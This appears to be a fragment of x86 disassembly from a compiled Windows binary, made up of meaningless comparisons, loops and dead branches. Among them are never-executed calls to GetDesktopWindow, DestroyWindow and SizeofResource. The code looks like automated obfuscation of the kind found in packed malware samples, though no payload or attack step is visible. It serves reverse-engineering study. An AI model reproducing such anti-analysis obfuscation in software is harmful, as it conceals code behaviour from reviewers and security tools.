cmp dword [ebp - 0x274], 0
je 0x466751
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
cmp dword [eax], 0
je 0x466751
mov dword [ebp - 0x77c], 1
jmp 0x466758
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0x77c], eax
jle 0x466777
or eax, 0xffffffff
je 0x466777
mov dword [ebp - 0x584], 1
jmp 0x46677e
and dword [ebp - 0x584], 0
cmp dword [ebp - 0x584], 0
je 0x466a36
mov dword [ebp - 0xe8], 0xf509e13c
mov dword [ebp - 0x24], 0
jmp 0x4667a5
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x4667bb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x87c], 1
jmp 0x46679e
mov dword [ebp - 0x24], 0
jmp 0x4667cb
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x4667e1
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x784], 0x832a49e8
jmp 0x4667c4
mov dword [ebp - 0x24], 0
jmp 0x4667f1
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x466807
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd10], 0
jmp 0x4667ea
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xdec], eax
cmp dword [ebp - 0xe8], 0x53c8
jne 0x46682b
mov dword [ebp - 0x364], 1
jmp 0x466832
and dword [ebp - 0x364], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0x784], ecx
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0x364], eax
je 0x46685f
mov dword [ebp - 0x8f8], 1
jmp 0x466866
and dword [ebp - 0x8f8], 0
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov esi, dword [ebp - 0x8f8]
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
cmp esi, dword [eax]
je 0x466899
mov dword [ebp - 0x58c], 1
jmp 0x4668a0
and dword [ebp - 0x58c], 0
cmp dword [ebp - 0x58c], 1
jle 0x4668b5
mov dword [ebp - 0xa34], 1
jmp 0x4668bc
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xdf8], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xe04], eax
cmp dword [ebp - 0xe8], 0
je 0x4668f9
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x784], 0
je 0x4668f9
mov dword [ebp - 0x594], 1
jmp 0x466900
and dword [ebp - 0x594], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd10]
cmp dword [ebp - 0x594], eax
jne 0x466921
mov dword [ebp - 0xa84], 1
jmp 0x466928
and dword [ebp - 0xa84], 0
push 1
lea ecx, [ebp - 0x988]
call fcn.00401379
mov dword [eax], 0x7673ed13
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x87c], 0x7673ed13
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd10]
mov dword [ebp - 0xeac], eax
push 0
lea ecx, [ebp - 0x988]
call fcn.00401379
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
inc eax
mov ecx, dword [ebp - 0x214]
imul ecx, eax
test ecx, ecx
je 0x466996
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x87c], 0
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
cmp dword [eax], 0xfff8
jne 0x4669b7
mov dword [ebp - 0x59c], 1
jmp 0x4669be
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
imul eax, dword [ebp - 0x30c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xd10]
jle 0x4669f1
mov dword [ebp - 0x78c], 1
jmp 0x4669f8
and dword [ebp - 0x78c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd10]
imul eax, dword [ebp - 0x78c]
mov dword [ebp - 0x2fc], eax
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x466a31
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x466f6b
mov dword [ebp - 0x25c], 0x6993
push 1
lea ecx, [ebp - 0x978]
call fcn.0040194d
mov dword [ebp - 0x88c], 8
push 4
lea ecx, [ebp - 0xbd4]
call fcn.0040194d
mov dword [ebp - 0xa40], 0x9b3eeac6
mov dword [ebp - 0xa48], 0x4cddccf3
mov dword [ebp - 0x18], 0
jmp 0x466a88
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x466aa4
push dword [ebp - 0x18]
lea ecx, [ebp - 0x978]
call fcn.00401379
mov dword [eax], 5
jmp 0x466a81
mov dword [ebp - 0x18], 0
jmp 0x466ab4
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x466aca
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x35c], 0xfffffff9
jmp 0x466aad
mov dword [ebp - 0x18], 0
jmp 0x466ada
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x466af6
push dword [ebp - 0x18]
lea ecx, [ebp - 0xbd4]
call fcn.00401379
mov dword [eax], 0x4c1ce2a3
jmp 0x466ad3
cmp dword [ebp - 0x25c], 1
je 0x466b0b
mov dword [ebp - 0x5a4], 1
jmp 0x466b12
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x5a4]
sub eax, dword [ebp - 0x25c]
cmp eax, 0xb4c2
jne 0x466b31
mov dword [ebp - 0x93c], 1
jmp 0x466b38
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x93c]
add eax, 0x322e546e
cmp eax, 0x85ae
jl 0x466b56
mov dword [ebp - 0xa8c], 1
jmp 0x466b5d
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xe08], eax
mov eax, 0x6c9a5ce7
cmp eax, 9
jl 0x466b7f
mov dword [ebp - 0x5ac], 1
jmp 0x466b86
and dword [ebp - 0x5ac], 0
push 0
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov esi, dword [ebp - 0x5ac]
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x978]
call fcn.00401379
cmp esi, dword [eax]
je 0x466bb9
mov dword [ebp - 0x794], 1
jmp 0x466bc0
and dword [ebp - 0x794], 0
imul eax, dword [ebp - 0x794], 0x5a44
cmp eax, 0xfffffff9
jbe 0x466bdb
mov dword [ebp - 0x5b4], 1
jmp 0x466be2
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x25c]
cmp eax, dword [ebp - 0x5b4]
jl 0x466bfc
mov dword [ebp - 0x884], 1
jmp 0x466c03
and dword [ebp - 0x884], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x884], eax
jne 0x466c1d
mov dword [ebp - 0x5bc], 1
jmp 0x466c24
and dword [ebp - 0x5bc], 0
push 0
lea ecx, [ebp - 0x978]
call fcn.00401379
mov ecx, dword [ebp - 0x5bc]
cmp ecx, dword [eax]
jle 0x466c47
mov dword [ebp - 0x79c], 1
jmp 0x466c4e
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x2fc]
cmp dword [ebp - 0x79c], eax
jle 0x466c68
mov dword [ebp - 0x5c4], 1
jmp 0x466c6f
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x25c]
add eax, 0x267fa09d
cmp eax, dword [ebp - 0x5c4]
je 0x466c97
cmp dword [ebp - 0x2fc], 0
je 0x466c97
mov dword [ebp - 0x33c], 1
jmp 0x466c9e
and dword [ebp - 0x33c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x33c]
mov dword [ebp + eax - 0x35c], ecx
push 1
lea ecx, [ebp - 0x988]
call fcn.00401379
mov ecx, dword [ebp - 0x33c]
cmp ecx, dword [eax]
jg 0x466cd4
mov dword [ebp - 0x904], 1
jmp 0x466cdb
and dword [ebp - 0x904], 0
mov esi, dword [ebp - 0x904]
sub esi, dword [ebp - 0x180]
push 0
lea ecx, [ebp - 0x978]
call fcn.00401379
cmp esi, dword [eax]
je 0x466d04
mov dword [ebp - 0x5cc], 1
jmp 0x466d0b
and dword [ebp - 0x5cc], 0
cmp dword [ebp - 0x5cc], 0x2b4d3a61
jl 0x466d23
mov dword [ebp - 0x7a4], 1
jmp 0x466d2a
and dword [ebp - 0x7a4], 0
push 0
lea ecx, [ebp - 0x978]
call fcn.00401379
mov ecx, dword [ebp - 0x7a4]
cmp ecx, dword [eax]
jne 0x466d4d
mov dword [ebp - 0x5d4], 1
jmp 0x466d54
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x88c]
cmp dword [ebp - 0x5d4], eax
jne 0x466d6e
mov dword [ebp - 0x304], 1
jmp 0x466d75
and dword [ebp - 0x304], 0
push 0
lea ecx, [ebp - 0xbd4]
call fcn.00401379
mov ecx, dword [ebp - 0x304]
mov dword [eax], ecx
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0xa40], eax
mov eax, 0x37f7
test eax, eax
je 0x466ecd
push 0
lea ecx, [ebp - 0x978]
call fcn.00401379
mov ecx, dword [ebp - 0x88c]
imul ecx, dword [eax]
test ecx, ecx
je 0x466ddb
push 1
lea ecx, [ebp - 0x988]
call fcn.00401379
cmp dword [eax], 0
je 0x466ddb
mov dword [ebp - 0x5dc], 1
jmp 0x466de2
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x180]
cmp dword [ebp - 0x5dc], eax
je 0x466dfc
mov dword [ebp - 0x7ac], 1
jmp 0x466e03
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0xd17825fa
jae 0x466e1b
mov dword [ebp - 0xae8], 1
jmp 0x466e22
and dword [ebp - 0xae8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x35c]
mov dword [ebp - 0xe10], eax
mov eax, 0x696e02f5
cmp eax, 5
jne 0x466e4b
mov dword [ebp - 0x5e4], 1
jmp 0x466e52
and dword [ebp - 0x5e4], 0
push 0
lea ecx, [ebp - 0x978]
call fcn.00401379
mov ecx, dword [ebp - 0x5e4]
cmp ecx, dword [eax]
jle 0x466e75
mov dword [ebp - 0x96c], 1
jmp 0x466e7c
and dword [ebp - 0x96c], 0
push 2
lea ecx, [ebp - 0xbd4]
call fcn.00401379
mov ecx, dword [ebp - 0x96c]
cmp ecx, dword [eax]
jle 0x466e9f
mov dword [ebp - 0x5ec], 1
jmp 0x466ea6
and dword [ebp - 0x5ec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x35c]
mov ecx, dword [ebp - 0x5ec]
lea eax, [eax + ecx - 2]
test eax, eax
je 0x466ecd
mov dword [ebp - 0x7b4], 1
jmp 0x466ed4
and dword [ebp - 0x7b4], 0
push 0
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov esi, dword [ebp - 0x7b4]
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
cmp esi, dword [eax]
jl 0x466f07
mov dword [ebp - 0x5f4], 1
jmp 0x466f0e
and dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 8
je 0x466f23
mov dword [ebp - 0x894], 1
jmp 0x466f2a
and dword [ebp - 0x894], 0
cmp dword [ebp - 0x894], 0xc366
je 0x466f42
mov dword [ebp - 0x5fc], 1
jmp 0x466f49
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x5fc]
mov dword [ebp - 0xa48], eax
lea ecx, [ebp - 0xbd4]
call fcn.00401a1f
lea ecx, [ebp - 0x978]
call fcn.00401a1f
mov esi, dword [ebp - 0x30c]
push 0
lea ecx, [ebp - 0x988]
call fcn.00401379
mov dword [eax], esi
lea ecx, [ebp - 0x988]
call fcn.00401a1f
lea ecx, [ebp - 0x1b4]
call fcn.00401a1f
mov dword [ebp - 0x110], 0xac204e2d
mov dword [ebp - 0xf0], 0xffffffff
push 4
lea ecx, [ebp - 0x37c]
call fcn.0040194d
mov dword [ebp - 0x7c4], 5
mov dword [ebp - 0x4c], 0x16488a9
push 2
lea ecx, [ebp - 0xe68]
call fcn.0040194d
mov dword [ebp - 0x5c], 0
jmp 0x466fe5
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 4
jge 0x467001
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x37c]
call fcn.00401379
mov dword [eax], 1
jmp 0x466fde
mov dword [ebp - 0x5c], 0
jmp 0x467011
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x46702d
push dword [ebp - 0x5c]
lea ecx, [ebp - 0xe68]
call fcn.00401379
mov dword [eax], 1
jmp 0x46700a
cmp dword [ebp - 0xf0], 0
je 0x467066
mov dword [ebp - 0xe18], 6
mov dword [ebp - 0xe20], 0xfffffffb
mov dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
jmp 0x4671e3
mov dword [ebp - 0x344], 0x149cec79
mov dword [ebp - 0x21c], 0
jmp 0x467089
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 1
jge 0x4670a5
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x604], 0x92eda8ed
jmp 0x46707c
push 3
lea ecx, [ebp - 0x37c]
call fcn.00401379
mov dword [eax], 1
mov dword [ebp - 0x7c4], 1
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0xe30], eax
push 0
lea ecx, [ebp - 0x37c]
call fcn.00401379
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x604]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x4c], 0
jmp 0x467110
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jg 0x4671e3
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x37c]
call fcn.00401379
mov esi, eax
push 3
lea ecx, [ebp - 0x37c]
call fcn.00401379
imul eax, dword [eax], 0
cmp dword [esi], eax
jge 0x4671c8
cmp dword [ebp - 0x4c], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x604], 0xc9e4
jg 0x467165
mov dword [ebp - 0x90c], 1
jmp 0x46716c
and dword [ebp - 0x90c], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x37c]
call fcn.00401379
mov eax, dword [eax]
cmp eax, dword [ebp - 0x90c]
je 0x467190
mov dword [ebp - 0x314], 1
jmp 0x467197
and dword [ebp - 0x314], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x37c]
call fcn.00401379
mov ecx, dword [ebp - 0x314]
mov dword [eax], ecx
mov eax, dword [ebp - 0x314]
sub eax, 0xff84
cmp eax, 0xfff6
je 0x4671c8
and dword [ebp - 0x60c], 0
jmp 0x4671d2
mov dword [ebp - 0x60c], 1
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x7c4], eax
jmp 0x467109
mov dword [ebp - 0xf0], 0
jmp 0x4671fc
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jg 0x467249
push dword [ebp - 0xf0]
lea ecx, [ebp - 0x37c]
call fcn.00401379
cmp dword [eax], 0xffffffff
jne 0x467227
mov dword [ebp - 0x614], 1
jmp 0x46722e
and dword [ebp - 0x614], 0
push dword [ebp - 0xf0]
lea ecx, [ebp - 0x37c]
call fcn.00401379
mov ecx, dword [ebp - 0x614]
mov dword [eax], ecx
jmp 0x4671ef
lea ecx, [ebp - 0xe68]
call fcn.00401a1f
lea ecx, [ebp - 0x37c]
call fcn.00401a1f
mov dword [ebp - 0x82c], 0x4111d018
push 2
lea ecx, [ebp - 0xcac]
call fcn.0040194d
mov dword [ebp - 0x198], 8
mov dword [ebp - 0x288], 0
jmp 0x467299
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 2
jge 0x4672bb
push dword [ebp - 0x288]
lea ecx, [ebp - 0xcac]
call fcn.00401379
mov dword [eax], 1
jmp 0x46728c
mov dword [ebp - 0x198], 0
jmp 0x4672d4
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jg 0x467313
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x4672f9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x198]
lea ecx, [ebp - 0xcac]
call fcn.00401379
cmp dword [eax], 0
je 0x467311
jmp 0x467313
jmp 0x4672c7
lea ecx, [ebp - 0xcac]
call fcn.00401a1f
mov dword [ebp - 0xa78], 0xffffffff
mov dword [ebp - 0x89c], 1
mov dword [ebp - 0xe38], 0xffffffff
mov dword [ebp - 0x31c], 0xee39f3fa
mov dword [ebp - 0x644], 0xf6085e07
mov dword [ebp - 0xa58], 0x13d0bb94
mov dword [ebp - 0xe40], 9
mov dword [ebp - 0x7cc], 0xfff839e0
mov dword [ebp - 0xb44], 1
mov dword [ebp - 0x36c], 0xfffa
push 2
lea ecx, [ebp - 0xc88]
call fcn.0040194d
mov dword [ebp - 0x8a4], 0xffffffff
mov dword [ebp - 0xa50], 0x633933b8
mov dword [ebp - 0x88], 0
jmp 0x4673bc
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x4673d8
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x9c8], 0xc9a130df
jmp 0x4673af
mov dword [ebp - 0x88], 0
jmp 0x4673f1
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x467410
push dword [ebp - 0x88]
lea ecx, [ebp - 0xc88]
call fcn.00401379
and dword [eax], 0
jmp 0x4673e4
mov dword [ebp - 0x89c], 0xbbca6318
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xe48], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9c8], 0
je 0x46744b
cmp dword [ebp - 0xb44], 0
je 0x46744b
mov dword [ebp - 0x61c], 1
jmp 0x467452
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 0x31e
jg 0x467476
mov dword [ebp - 0x624], 1
jmp 0x46747d
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x31c]
cmp dword [ebp - 0x624], eax
jle 0x467497
mov dword [ebp - 0x944], 1
jmp 0x46749e
and dword [ebp - 0x944], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9c8]
cmp eax, dword [ebp - 0x944]
je 0x4674bf
mov dword [ebp - 0x62c], 1
jmp 0x4674c6
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x36c]
dec eax
mov dword [ebp - 0x36c], eax
mov esi, dword [ebp - 0x36c]
push 1
lea ecx, [ebp - 0xc88]
call fcn.00401379
add esi, dword [eax]
cmp esi, dword [ebp - 0x62c]
jl 0x4674fc
mov dword [ebp - 0x7d4], 1
jmp 0x467503
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x7d4]
sub eax, 0xc6dd
cmp eax, dword [ebp - 0x8a4]
jg 0x46752b
cmp dword [ebp - 0x31c], 0
je 0x46752b
mov dword [ebp - 0x634], 1
jmp 0x467532
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x644]
cmp dword [ebp - 0x634], eax
jg 0x46754c
mov dword [ebp - 0x63c], 1
jmp 0x467553
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x8a4]
cmp dword [ebp - 0x63c], eax
jge 0x46756d
mov dword [ebp - 0x7dc], 1
jmp 0x467574
and dword [ebp - 0x7dc], 0
cmp dword [ebp - 0x7dc], 1
jae 0x467589
mov dword [ebp - 0x914], 1
jmp 0x467590
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x644]
cmp dword [ebp - 0x914], eax
jle 0x4675aa
mov dword [ebp - 0x64c], 1
jmp 0x4675b1
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0xa50]
cmp dword [ebp - 0x64c], eax
jg 0x4675cb
mov dword [ebp - 0x7e4], 1
jmp 0x4675d2
and dword [ebp - 0x7e4], 0
cmp dword [ebp - 0x7e4], 0xffffffff
jne 0x4675e7
mov dword [ebp - 0x654], 1
jmp 0x4675ee
and dword [ebp - 0x654], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9c8]
cmp dword [ebp - 0x654], eax
jle 0x46760f
mov dword [ebp - 0xaf0], 1
jmp 0x467616
and dword [ebp - 0xaf0], 0
mov eax, dword [ebp - 0xa58]
mov dword [ebp - 0xe50], eax
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0xe58], eax
xor eax, eax
inc eax
cmp eax, 0x62699ff9
jne 0x467644
mov dword [ebp - 0x8ac], 1
jmp 0x46764b
and dword [ebp - 0x8ac], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp + eax - 0x9c8], ecx
lea ecx, [ebp - 0xc88]
call fcn.00401a1f
mov dword [ebp - 0x110], 0xfffffff3
jmp 0x467682
cmp dword [ebp - 0x110], 6
jne 0x46838d
mov dword [ebp - 0xf8], 5
mov dword [ebp - 0x100], 1
mov dword [ebp - 0x224], 0
jmp 0x4676bc
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 3
jge 0x4676d8
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0xf6c], 0xcd546735
jmp 0x4676af
mov dword [ebp - 0xf8], 0
jmp 0x4676f1
cmp dword [ebp - 0xf8], 0x1c
jl 0x46784c
mov dword [ebp - 0x66c], 0xffffffff
mov dword [ebp - 0x65c], 4
mov dword [ebp - 0xa60], 0xffffffff
cmp dword [ebp - 0xf8], 0
je 0x46782b
mov dword [ebp - 0xb40], 0xffffffff
mov dword [ebp - 0xb40], 0xc58a012e
mov dword [ebp - 0x65c], 9
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0xecc], eax
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xf8], eax
jne 0x46776d
mov byte [ebp - 0x126], 0
movzx eax, byte [ebp - 0x126]
test eax, eax
je 0x467847
mov dword [ebp - 0x100], 0
jmp 0x467865
cmp dword [ebp - 0x100], 3
jge 0x467881
mov dword [ebp - 0x148], 0x9714a025
push 2
lea ecx, [ebp - 0x178]
call fcn.0040194d
mov dword [ebp - 0x1f0], 0
push 2
lea ecx, [ebp - 0x9a8]
call fcn.0040194d
mov dword [ebp - 0x2f0], 0x211521fa
mov dword [ebp - 0x190], 9
mov dword [ebp - 0x2d0], 0xb862b336
mov dword [ebp - 0x60], 0
jmp 0x4683e9
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x468405
push dword [ebp - 0x60]
lea ecx, [ebp - 0x178]
call fcn.00401379
mov dword [eax], 0xb5542afa
jmp 0x4683e2
mov dword [ebp - 0x60], 0
jmp 0x468415
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x468431
push dword [ebp - 0x60]
lea ecx, [ebp - 0x9a8]
call fcn.00401379
mov dword [eax], 0xf4442628
jmp 0x46840e
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xd48], eax
cmp dword [ebp - 0x148], 0
je 0x468462
xor eax, eax
je 0x468462
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6ec]
mov dword [ebp - 0x148], eax
mov esi, dword [ebp - 0x148]
push 1
lea ecx, [ebp - 0x178]
call fcn.00401379
cmp esi, dword [eax]
jne 0x468498